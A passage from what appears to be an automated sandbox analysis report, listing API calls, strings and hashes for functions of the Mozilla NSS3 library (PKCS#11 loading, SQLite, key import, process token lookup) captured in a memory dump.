PR_EnterMonitor.NSS3 ref: 6C68C26A
PR_ExitMonitor.NSS3 ref: 6C68C287
PR_UnloadLibrary.NSS3(?), ref: 6C68C2D0
PR_GetEnvSecure.NSS3(NSS_DEBUG_PKCS11_MODULE), ref: 6C68C392
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,00000000), ref: 6C68C3AB
PR_NewLogModule.NSS3(nss_mod_log), ref: 6C68C3D1
PR_GetEnvSecure.NSS3(NSS_FORCE_TOKEN_LOCK), ref: 6C68C782
PR_GetEnvSecure.NSS3(NSS_DISABLE_UNLOAD), ref: 6C68C7B5
PR_UnloadLibrary.NSS3(?), ref: 6C68C7CC
PR_SetError.NSS3(FFFFE097,00000000), ref: 6C68C82E
PORT_ArenaAlloc_Util.NSS3(?,?), ref: 6C68C8BF
PORT_Alloc_Util.NSS3(?), ref: 6C68C8D5
free.MOZGLUE(00000000), ref: 6C68C900
PORT_ArenaAlloc_Util.NSS3(?,?), ref: 6C68C9C7
memcpy.VCRUNTIME140(00000000,?,?), ref: 6C68C9E5
free.MOZGLUE(00000000), ref: 6C68CA5A

Strings

NSS_ReturnModuleSpecData, xrefs: 6C68C275
FC_GetFunctionList, xrefs: 6C68C098
FC_GetInterface, xrefs: 6C68C054
NSS_FORCE_TOKEN_LOCK, xrefs: 6C68C77D
Vendor NSS FIPS Interface, xrefs: 6C68C34A
NSC_GetFunctionList, xrefs: 6C68C093
NSS_DISABLE_UNLOAD, xrefs: 6C68C7B0
PKCS 11, xrefs: 6C68C2F9, 6C68C314
nss_mod_log, xrefs: 6C68C3CC
NSC_ModuleDBFunc, xrefs: 6C68C0FC
NSC_GetInterface, xrefs: 6C68C04F
NSS_DEBUG_PKCS11_MODULE, xrefs: 6C68C38D

Memory Dump Source

Source File: 00000000.00000002.2128935184.000000006C5D1000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6C5D0000, based on PE: true

Associated: 00000000.00000002.2128913697.000000006C5D0000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2129065096.000000006C76F000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2129110028.000000006C7AE000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2129130324.000000006C7AF000.00000008.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2129150071.000000006C7B0000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2129169627.000000006C7B5000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5d0000_file.jbxd

Similarity

API ID: Monitor$Value$Enter$CriticalExitSection$Error$LeaveLibrary$Alloc_SecureUtilfree$ArenaLastLoadUnloadstrcmp$AddressCallFlagsModuleOnceProcR_snprintfTextWideWithmemcpystrlen
String ID: FC_GetFunctionList$FC_GetInterface$NSC_GetFunctionList$NSC_GetInterface$NSC_ModuleDBFunc$NSS_DEBUG_PKCS11_MODULE$NSS_DISABLE_UNLOAD$NSS_FORCE_TOKEN_LOCK$NSS_ReturnModuleSpecData$PKCS 11$Vendor NSS FIPS Interface$nss_mod_log
API String ID: 4243957313-3613044529
Opcode ID: 32022aea34f38bb9ef284d4f322a8b24f6e0a006a616c5d74447d81d60ea0bf4
Instruction ID: bfc164059f426a90be17f7173d43e6af8aaabf75737d0e53c750dc60fc8f5212
Opcode Fuzzy Hash: 32022aea34f38bb9ef284d4f322a8b24f6e0a006a616c5d74447d81d60ea0bf4
Instruction Fuzzy Hash: 4142A0B1A062049FDF00DF54D88AF9A3BB0FB46348F058138D90A9BB61E731D555CBAD

Function 6C763FC0 Relevance: 70.5, APIs: 37, Strings: 3, Instructions: 485stringprocessCOMMON

Download Yara Rule

APIs

malloc.MOZGLUE(00000008), ref: 6C763FD5
strlen.API-MS-WIN-CRT-STRING-L1-1-0 ref: 6C763FFE
malloc.MOZGLUE(-00000003), ref: 6C764016
strpbrk.API-MS-WIN-CRT-STRING-L1-1-0(?,6C79FC62), ref: 6C76404A
memset.VCRUNTIME140(?,0000005C,00000000), ref: 6C76407E
memset.VCRUNTIME140(?,0000005C,00000000), ref: 6C7640A4
memset.VCRUNTIME140(?,0000005C,00000000), ref: 6C7640D7
PR_SetError.NSS3(FFFFE890,00000000), ref: 6C764112
malloc.MOZGLUE(00000000), ref: 6C76411E
__p__environ.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0 ref: 6C76414D
PR_SetError.NSS3(FFFFE890,00000000), ref: 6C764160
free.MOZGLUE(?), ref: 6C76416C
malloc.MOZGLUE(?), ref: 6C7641AB
strncmp.API-MS-WIN-CRT-STRING-L1-1-0(?,NSPR_INHERIT_FDS=,00000011), ref: 6C7641EF
qsort.API-MS-WIN-CRT-UTILITY-L1-1-0(?,?,00000004,6C764520), ref: 6C764244
GetEnvironmentStrings.KERNEL32 ref: 6C76424D
strlen.API-MS-WIN-CRT-STRING-L1-1-0(00000000), ref: 6C764263
strlen.API-MS-WIN-CRT-STRING-L1-1-0(00000000), ref: 6C764283
strlen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6C7642B7
strlen.API-MS-WIN-CRT-STRING-L1-1-0(00000000), ref: 6C7642E4
malloc.MOZGLUE(00000002), ref: 6C7642FA
FreeEnvironmentStringsA.KERNEL32(?), ref: 6C764342
GetStdHandle.KERNEL32(000000F6), ref: 6C7643AB
GetStdHandle.KERNEL32(000000F5), ref: 6C7643B2
GetStdHandle.KERNEL32(000000F4), ref: 6C7643B9
FreeEnvironmentStringsA.KERNEL32(?), ref: 6C764403
PR_SetError.NSS3(FFFFE890,00000000), ref: 6C764410

Part of subcall function 6C6FC2A0: TlsGetValue.KERNEL32(FFFFE89D,00000000,?,?,?,?,?,?,?,?,?,?,?,00000001,00000000,00000000), ref: 6C6FC2BF

CreateProcessA.KERNEL32(00000000,?,00000000,00000000,00000001,00000000,00000000,00000000,00000044,?), ref: 6C76445E
CloseHandle.KERNEL32(?), ref: 6C76446B
free.MOZGLUE(?), ref: 6C764482
free.MOZGLUE(00000000), ref: 6C764492
free.MOZGLUE(00000000), ref: 6C7644A4
GetLastError.KERNEL32 ref: 6C7644B2
PR_SetError.NSS3(FFFFE896,00000000), ref: 6C7644BE
free.MOZGLUE(?), ref: 6C7644C7
free.MOZGLUE(00000000), ref: 6C7644D5
free.MOZGLUE(00000000), ref: 6C7644EA

Strings

=, xrefs: 6C7644F8
NSPR_INHERIT_FDS=, xrefs: 6C7641E9
D, xrefs: 6C764396

Memory Dump Source

Source File: 00000000.00000002.2128935184.000000006C5D1000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6C5D0000, based on PE: true

Associated: 00000000.00000002.2128913697.000000006C5D0000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2129065096.000000006C76F000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2129110028.000000006C7AE000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2129130324.000000006C7AF000.00000008.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2129150071.000000006C7B0000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2129169627.000000006C7B5000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5d0000_file.jbxd

Similarity

API ID: free$Errormallocstrlen$Handle$EnvironmentStringsmemset$Free$CloseCreateLastProcessValue__p__environqsortstrncmpstrpbrk
String ID: =$D$NSPR_INHERIT_FDS=
API String ID: 3116300875-3553733109
Opcode ID: 71cd1855b92fe98a96afd56518ecd5b1af6f87e2b98989fb8d76b7deb5b65d0a
Instruction ID: 23935f0d9413965d2c645673b8da9021651e89a91f21d93ee0585dd14c0b0eec
Opcode Fuzzy Hash: 71cd1855b92fe98a96afd56518ecd5b1af6f87e2b98989fb8d76b7deb5b65d0a
Instruction Fuzzy Hash: B202F470E043559FEB10CFAACA947AEBBB4AF06308F244179EC65A7F41D7319804DB91

Function 6C676D90 Relevance: 60.3, APIs: 33, Strings: 1, Instructions: 809COMMON

Download Yara Rule

APIs

memcpy.VCRUNTIME140(?,6C77A8EC,0000006C), ref: 6C676DC6
memcpy.VCRUNTIME140(?,6C77A958,0000006C), ref: 6C676DDB
memcpy.VCRUNTIME140(?,6C77A9C4,00000078), ref: 6C676DF1
memcpy.VCRUNTIME140(?,6C77AA3C,0000006C), ref: 6C676E06
memcpy.VCRUNTIME140(?,6C77AAA8,00000060), ref: 6C676E1C
PR_SetError.NSS3(FFFFE005,00000000), ref: 6C676E38

Part of subcall function 6C6FC2A0: TlsGetValue.KERNEL32(FFFFE89D,00000000,?,?,?,?,?,?,?,?,?,?,?,00000001,00000000,00000000), ref: 6C6FC2BF

PK11_DoesMechanism.NSS3(?,?), ref: 6C676E76
TlsGetValue.KERNEL32 ref: 6C67726F
EnterCriticalSection.KERNEL32(?), ref: 6C677283

Strings

!, xrefs: 6C677123

Memory Dump Source

Source File: 00000000.00000002.2128935184.000000006C5D1000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6C5D0000, based on PE: true

Associated: 00000000.00000002.2128913697.000000006C5D0000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2129065096.000000006C76F000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2129110028.000000006C7AE000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2129130324.000000006C7AF000.00000008.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2129150071.000000006C7B0000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2129169627.000000006C7B5000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5d0000_file.jbxd

Similarity

API ID: memcpy$Value$CriticalDoesEnterErrorK11_MechanismSection
String ID: !
API String ID: 3333340300-2657877971
Opcode ID: cbf9935b07b4f8437322e8285c271ebdc04b3272544acce4d2a0c77f58947c04
Instruction ID: a0762196239a323abfd35addf185e031389bad86fbd11ab7c43b1b5a9c4769e8
Opcode Fuzzy Hash: cbf9935b07b4f8437322e8285c271ebdc04b3272544acce4d2a0c77f58947c04
Instruction Fuzzy Hash: 7B729E75D052199FDF21CF28CC8879ABBB5EB49304F1445A9E80CA7701EB31AA85CFA5

Function 6C5E3C40 Relevance: 41.2, APIs: 20, Strings: 3, Instructions: 932COMMON

Download Yara Rule

APIs

_byteswap_ulong.API-MS-WIN-CRT-UTILITY-L1-1-0(?), ref: 6C5E3C66
_byteswap_ulong.API-MS-WIN-CRT-UTILITY-L1-1-0(000000FD,?), ref: 6C5E3D04
_byteswap_ulong.API-MS-WIN-CRT-UTILITY-L1-1-0(?), ref: 6C5E3EAD
_byteswap_ulong.API-MS-WIN-CRT-UTILITY-L1-1-0(?), ref: 6C5E3ED7
_byteswap_ulong.API-MS-WIN-CRT-UTILITY-L1-1-0(?), ref: 6C5E3F74
_byteswap_ulong.API-MS-WIN-CRT-UTILITY-L1-1-0(?), ref: 6C5E4052
_byteswap_ulong.API-MS-WIN-CRT-UTILITY-L1-1-0(?), ref: 6C5E406F
_byteswap_ulong.API-MS-WIN-CRT-UTILITY-L1-1-0(00000001), ref: 6C5E410D
sqlite3_log.NSS3(0000000B,%s at line %d of [%.10s],database corruption,00011A47,9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4), ref: 6C5E449C

Strings

database corruption, xrefs: 6C5E4490, 6C5E44F4, 6C5E4599, 6C5E4764, 6C5E4804
9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4, xrefs: 6C5E4452, 6C5E4486, 6C5E44EA, 6C5E4571, 6C5E4580, 6C5E458F, 6C5E475A, 6C5E47FA
%s at line %d of [%.10s], xrefs: 6C5E4495, 6C5E44F9, 6C5E459E, 6C5E4769, 6C5E4809

Memory Dump Source

Source File: 00000000.00000002.2128935184.000000006C5D1000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6C5D0000, based on PE: true

Associated: 00000000.00000002.2128913697.000000006C5D0000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2129065096.000000006C76F000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2129110028.000000006C7AE000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2129130324.000000006C7AF000.00000008.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2129150071.000000006C7B0000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2129169627.000000006C7B5000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5d0000_file.jbxd

Similarity

API ID: _byteswap_ulong$sqlite3_log
String ID: %s at line %d of [%.10s]$9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4$database corruption
API String ID: 2597148001-598938438
Opcode ID: 3d47af78744439ce07bd33391a7b8c4c4c71d718abd35ec90f22400094938668
Instruction ID: b39231fc6646ed9759bb5b54d2c4575b348b7eccfbc0ac5690f5997df00c517c
Opcode Fuzzy Hash: 3d47af78744439ce07bd33391a7b8c4c4c71d718abd35ec90f22400094938668
Instruction Fuzzy Hash: 7D82A375A04205CFCB04CFA9C984B9EB7B2BF4D318F2585A9D905ABB61D731EC42CB91

Function 6C6BAC30 Relevance: 39.5, APIs: 26, Instructions: 539memoryCOMMON

Download Yara Rule

APIs

PORT_ArenaMark_Util.NSS3(?), ref: 6C6BACC4
PORT_ArenaAlloc_Util.NSS3(?,000040F4), ref: 6C6BACD5
memset.VCRUNTIME140(00000000,00000000,000040F4), ref: 6C6BACF3
SEC_ASN1EncodeInteger_Util.NSS3(?,00000018,00000003), ref: 6C6BAD3B
SECITEM_CopyItem_Util.NSS3(?,?,00000000), ref: 6C6BADC8
PR_SetError.NSS3(FFFFE013,00000000), ref: 6C6BADDF
PR_SetError.NSS3(FFFFE013,00000000), ref: 6C6BADF0

Part of subcall function 6C6FC2A0: TlsGetValue.KERNEL32(FFFFE89D,00000000,?,?,?,?,?,?,?,?,?,?,?,00000001,00000000,00000000), ref: 6C6FC2BF

SECITEM_ZfreeItem_Util.NSS3(00000000,00000001), ref: 6C6BB06A
PR_SetError.NSS3(FFFFE013,00000000), ref: 6C6BB08C
PORT_FreeArena_Util.NSS3(?,00000000), ref: 6C6BB1BA
PORT_FreeArena_Util.NSS3(?,00000000), ref: 6C6BB27C
memset.VCRUNTIME140(?,00000000,00002010), ref: 6C6BB2CA
PORT_FreeArena_Util.NSS3(00000000,00000000), ref: 6C6BB3C1
PR_SetError.NSS3(FFFFE013,00000000), ref: 6C6BB40C

Memory Dump Source

Source File: 00000000.00000002.2128935184.000000006C5D1000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6C5D0000, based on PE: true

Associated: 00000000.00000002.2128913697.000000006C5D0000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2129065096.000000006C76F000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2129110028.000000006C7AE000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2129130324.000000006C7AF000.00000008.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2129150071.000000006C7B0000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2129169627.000000006C7B5000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5d0000_file.jbxd

Similarity

API ID: Util$Error$Arena_Free$ArenaItem_memset$Alloc_CopyEncodeInteger_Mark_ValueZfree
String ID:
API String ID: 1285963562-0
Opcode ID: 4134caf94f91c36ffc25a8402a65d21032f80c7b25c2e30ab3c2ea9ce8a0ecc5
Instruction ID: 55dc86e3d85ddee7acbb1eb7ab738f2044b414fd00b935375330946e1411942d
Opcode Fuzzy Hash: 4134caf94f91c36ffc25a8402a65d21032f80c7b25c2e30ab3c2ea9ce8a0ecc5
Instruction Fuzzy Hash: 7922B171904301AFE710CF14CC84BAA77E1AF8530CF14857CE9596B792E772E869CB9A

Function 6C601F90 Relevance: 35.9, APIs: 5, Strings: 18, Instructions: 1430COMMON

Download Yara Rule

APIs

memcpy.VCRUNTIME140(00000000,?,00000000), ref: 6C6025F3

Strings

cannot have both ON and USING clauses in the same join, xrefs: 6C6032B5
no such table: %s, xrefs: 6C6026AC
no tables specified, xrefs: 6C6026BE
'%s' is not a function, xrefs: 6C602FD2
too many references to "%s": max 65535, xrefs: 6C602FB6
%s.%s.%s, xrefs: 6C60302D
no such index: "%s", xrefs: 6C60319D
H, xrefs: 6C60329F
multiple recursive references: %s, xrefs: 6C6022E0
cannot join using column %s - column not present in both tables, xrefs: 6C6032AB
recursive reference in a subquery: %s, xrefs: 6C6022E5
a NATURAL join may not have an ON or USING clause, xrefs: 6C6032C1
table %s has %d values for %d columns, xrefs: 6C60316C
%s.%s, xrefs: 6C602D68
H, xrefs: 6C60322D
unsafe use of virtual table "%s", xrefs: 6C6030D1
too many columns in result set, xrefs: 6C603012
access to view "%s" prohibited, xrefs: 6C602F4A

Memory Dump Source

Source File: 00000000.00000002.2128935184.000000006C5D1000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6C5D0000, based on PE: true

Associated: 00000000.00000002.2128913697.000000006C5D0000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2129065096.000000006C76F000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2129110028.000000006C7AE000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2129130324.000000006C7AF000.00000008.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2129150071.000000006C7B0000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2129169627.000000006C7B5000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5d0000_file.jbxd

Similarity

API ID: memcpy
String ID: %s.%s$%s.%s.%s$'%s' is not a function$H$H$a NATURAL join may not have an ON or USING clause$access to view "%s" prohibited$cannot have both ON and USING clauses in the same join$cannot join using column %s - column not present in both tables$multiple recursive references: %s$no such index: "%s"$no such table: %s$no tables specified$recursive reference in a subquery: %s$table %s has %d values for %d columns$too many columns in result set$too many references to "%s": max 65535$unsafe use of virtual table "%s"
API String ID: 3510742995-3400015513
Opcode ID: 1c0043ce0f9ca4074ed2ecd78db43d52b2651509ce8305af52b756e024c8619e
Instruction ID: 5b53488fc50b79662d8843b336a581a44049c7e70e31fe1dc69c78b18773f816
Opcode Fuzzy Hash: 1c0043ce0f9ca4074ed2ecd78db43d52b2651509ce8305af52b756e024c8619e
Instruction Fuzzy Hash: D6D25B74F042098FDB08CF99C688BDDB7B2BF49308F288169D955BBB51D731A846CB58

Function 6C63ECD0 Relevance: 33.8, APIs: 7, Strings: 12, Instructions: 539COMMON

Download Yara Rule

APIs

sqlite3_initialize.NSS3 ref: 6C63ED38

Part of subcall function 6C5D4F60: strlen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6C5D4FC4

sqlite3_mprintf.NSS3(snippet), ref: 6C63EF3C
sqlite3_mprintf.NSS3(offsets), ref: 6C63EFE4

Part of subcall function 6C6FDFC0: strlen.API-MS-WIN-CRT-STRING-L1-1-0(?,00000003,?,6C5D5001,?,00000003,00000000), ref: 6C6FDFD7

sqlite3_mprintf.NSS3(matchinfo), ref: 6C63F087
sqlite3_mprintf.NSS3(matchinfo), ref: 6C63F129
sqlite3_mprintf.NSS3(optimize), ref: 6C63F1D1
sqlite3_free.NSS3(?), ref: 6C63F368

Strings

fts3tokenize, xrefs: 6C63F30F
porter, xrefs: 6C63ED97
optimize, xrefs: 6C63F199, 6C63F1CC, 6C63F211
fts3_tokenizer, xrefs: 6C63EE1A, 6C63EEA8
fts4, xrefs: 6C63F2AD
unicode61, xrefs: 6C63EDB5
snippet, xrefs: 6C63EF05, 6C63EF37, 6C63EF7C
matchinfo, xrefs: 6C63F04F, 6C63F082, 6C63F0C2, 6C63F0F2, 6C63F124, 6C63F169
offsets, xrefs: 6C63EFAF, 6C63EFDF, 6C63F01F
simple, xrefs: 6C63ED79
fts4aux, xrefs: 6C63ECF9
fts3, xrefs: 6C63F247

Memory Dump Source

Source File: 00000000.00000002.2128935184.000000006C5D1000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6C5D0000, based on PE: true

Associated: 00000000.00000002.2128913697.000000006C5D0000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2129065096.000000006C76F000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2129110028.000000006C7AE000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2129130324.000000006C7AF000.00000008.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2129150071.000000006C7B0000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2129169627.000000006C7B5000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5d0000_file.jbxd

Similarity

API ID: sqlite3_mprintf$strlen$sqlite3_freesqlite3_initialize
String ID: fts3$fts3_tokenizer$fts3tokenize$fts4$fts4aux$matchinfo$offsets$optimize$porter$simple$snippet$unicode61
API String ID: 2518200370-449611708
Opcode ID: 3b0a0153f6b9bcb47ffcc7e222f1437bb33de304c53cbc5955d32129c8d06625
Instruction ID: cc0f7ecc91408ca7f261660d5079c40279b2af3e1c88b45207b63b79cf0c7994
Opcode Fuzzy Hash: 3b0a0153f6b9bcb47ffcc7e222f1437bb33de304c53cbc5955d32129c8d06625
Instruction Fuzzy Hash: E002E2B2B047108BE7049F72AC9572B36B2AFC5308F14653CD95E87B01EB75E846879B

Function 6C6B7C00 Relevance: 31.9, APIs: 21, Instructions: 421COMMON

Download Yara Rule

APIs

PR_SetError.NSS3(FFFFE005,00000000), ref: 6C6B7C33
NSS_OptionGet.NSS3(0000000C,00000000), ref: 6C6B7C66
CERT_DestroyCertificate.NSS3(00000000), ref: 6C6B7D1E

Part of subcall function 6C6B7870: SECOID_FindOID_Util.NSS3(?,?,?,6C6B91C5), ref: 6C6B788F

SECITEM_ZfreeItem_Util.NSS3(00000000,00000001), ref: 6C6B7D48
PR_SetError.NSS3(FFFFE067,00000000), ref: 6C6B7D71
SECKEY_DestroyPublicKey.NSS3(00000000), ref: 6C6B7DD3
SECITEM_ZfreeItem_Util.NSS3(?,00000001), ref: 6C6B7DE1
PR_SetError.NSS3(FFFFE005,00000000), ref: 6C6B7DF8
SECKEY_DestroyPublicKey.NSS3(?), ref: 6C6B7E1A
PR_SetError.NSS3(FFFFE067,00000000), ref: 6C6B7E58

Part of subcall function 6C6B7870: PR_SetError.NSS3(FFFFE005,00000000,?,?,6C6B91C5), ref: 6C6B78BB
Part of subcall function 6C6B7870: PORT_ZAlloc_Util.NSS3(0000000C,?,?,?,6C6B91C5), ref: 6C6B78FA
Part of subcall function 6C6B7870: strchr.VCRUNTIME140(?,0000003A,?,?,?,?,?,?,?,?,?,?,6C6B91C5), ref: 6C6B7930
Part of subcall function 6C6B7870: PORT_Alloc_Util.NSS3(?,?,?,?,?,?,?,?,?,?,?,?,?,6C6B91C5), ref: 6C6B7951
Part of subcall function 6C6B7870: memcpy.VCRUNTIME140(00000000,?,?), ref: 6C6B7964
Part of subcall function 6C6B7870: strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,00000000), ref: 6C6B797A
Part of subcall function 6C6B7870: strlen.API-MS-WIN-CRT-STRING-L1-1-0(00000001), ref: 6C6B7988
Part of subcall function 6C6B7870: memcpy.VCRUNTIME140(?,00000001,00000001), ref: 6C6B7998
Part of subcall function 6C6B7870: free.MOZGLUE(00000000), ref: 6C6B79A7
Part of subcall function 6C6B7870: SECITEM_ZfreeItem_Util.NSS3(00000000,00000001,?,?,?,?,?,?,?,?,?,?,6C6B91C5), ref: 6C6B79BB
Part of subcall function 6C6B7870: PR_GetCurrentThread.NSS3(?,?,?,?,6C6B91C5), ref: 6C6B79CA

SECITEM_ZfreeItem_Util.NSS3(00000000,00000001), ref: 6C6B7E49
SECITEM_ZfreeItem_Util.NSS3(?,00000001), ref: 6C6B7F8C
SECKEY_DestroyPublicKey.NSS3(?), ref: 6C6B7F98
SECOID_GetAlgorithmTag_Util.NSS3(?), ref: 6C6B7FBF
SECITEM_CopyItem_Util.NSS3(00000000,?,?), ref: 6C6B7FD9
PK11_ImportEncryptedPrivateKeyInfoAndReturnKey.NSS3(?,00000000,?,?,?,00000001,00000001,?,?,00000000,?), ref: 6C6B8038
SECITEM_ZfreeItem_Util.NSS3(00000000,00000000), ref: 6C6B8050
PK11_ImportPublicKey.NSS3(?,?,00000001), ref: 6C6B8093
SECOID_FindOID_Util.NSS3 ref: 6C6B7F29

Part of subcall function 6C6B07B0: PL_HashTableLookupConst.NSS3(?,FFFFFFFF,?,?,6C658298,?,?,?,6C64FCE5,?), ref: 6C6B07BF
Part of subcall function 6C6B07B0: PL_HashTableLookup.NSS3(?,?), ref: 6C6B07E6
Part of subcall function 6C6B07B0: PR_SetError.NSS3(FFFFE08F,00000000), ref: 6C6B081B
Part of subcall function 6C6B07B0: PR_SetError.NSS3(FFFFE08F,00000000), ref: 6C6B0825

SECKEY_DestroyPublicKey.NSS3(00000000), ref: 6C6B8072
SECOID_FindOID_Util.NSS3 ref: 6C6B80F5

Part of subcall function 6C6BBC10: SECITEM_CopyItem_Util.NSS3(?,?,?,?,-00000001,?,6C6B800A,00000000,?,00000000,?), ref: 6C6BBC3F

Memory Dump Source

Source File: 00000000.00000002.2128935184.000000006C5D1000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6C5D0000, based on PE: true

Associated: 00000000.00000002.2128913697.000000006C5D0000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2129065096.000000006C76F000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2129110028.000000006C7AE000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2129130324.000000006C7AF000.00000008.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2129150071.000000006C7B0000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2129169627.000000006C7B5000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5d0000_file.jbxd

Similarity

API ID: Util$Item_$Error$Zfree$DestroyPublic$Find$Alloc_CopyHashImportK11_LookupTablememcpy$AlgorithmCertificateConstCurrentEncryptedInfoOptionPrivateReturnTag_Threadfreestrchrstrcmpstrlen
String ID:
API String ID: 2815116071-0
Opcode ID: 78567ff5ae7bf57f3768106df3ed097e39ed84d5f27092f43171de6f1b7909ef
Instruction ID: 160ea4729a07efe57f7b23598f4b0b156b22397a0b5767c37455a3c67114b1ab
Opcode Fuzzy Hash: 78567ff5ae7bf57f3768106df3ed097e39ed84d5f27092f43171de6f1b7909ef
Instruction Fuzzy Hash: 8FE1B4716083019FD710CF28C880B5B77E5EF49348F14496DE98AABB61E731EC25CB6A

Function 6C641C30 Relevance: 26.3, APIs: 14, Strings: 1, Instructions: 96memoryCOMMON

Download Yara Rule

APIs

GetCurrentProcess.KERNEL32 ref: 6C641C6B
OpenProcessToken.ADVAPI32(00000000,00000008,?), ref: 6C641C75
GetTokenInformation.ADVAPI32(00000400,00000004,?,00000400,?), ref: 6C641CA1
GetLengthSid.ADVAPI32(?), ref: 6C641CA9
malloc.MOZGLUE(00000000), ref: 6C641CB4
CopySid.ADVAPI32(00000000,00000000,?), ref: 6C641CCC
GetTokenInformation.ADVAPI32(?,00000005(TokenIntegrityLevel),?,00000400,?), ref: 6C641CE4
GetLengthSid.ADVAPI32(?), ref: 6C641CEC
malloc.MOZGLUE(00000000), ref: 6C641CFD
CopySid.ADVAPI32(00000000,00000000,?), ref: 6C641D0F
CloseHandle.KERNEL32(?), ref: 6C641D17
AllocateAndInitializeSid.ADVAPI32 ref: 6C641D4D
GetLastError.KERNEL32 ref: 6C641D73
PR_LogPrint.NSS3(_PR_NT_InitSids: OpenProcessToken() failed. Error: %d,00000000), ref: 6C641D7F

Strings

_PR_NT_InitSids: OpenProcessToken() failed. Error: %d, xrefs: 6C641D7A

Memory Dump Source

Source File: 00000000.00000002.2128935184.000000006C5D1000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6C5D0000, based on PE: true

Associated: 00000000.00000002.2128913697.000000006C5D0000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2129065096.000000006C76F000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2129110028.000000006C7AE000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2129130324.000000006C7AF000.00000008.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2129150071.000000006C7B0000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2129169627.000000006C7B5000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5d0000_file.jbxd

Similarity

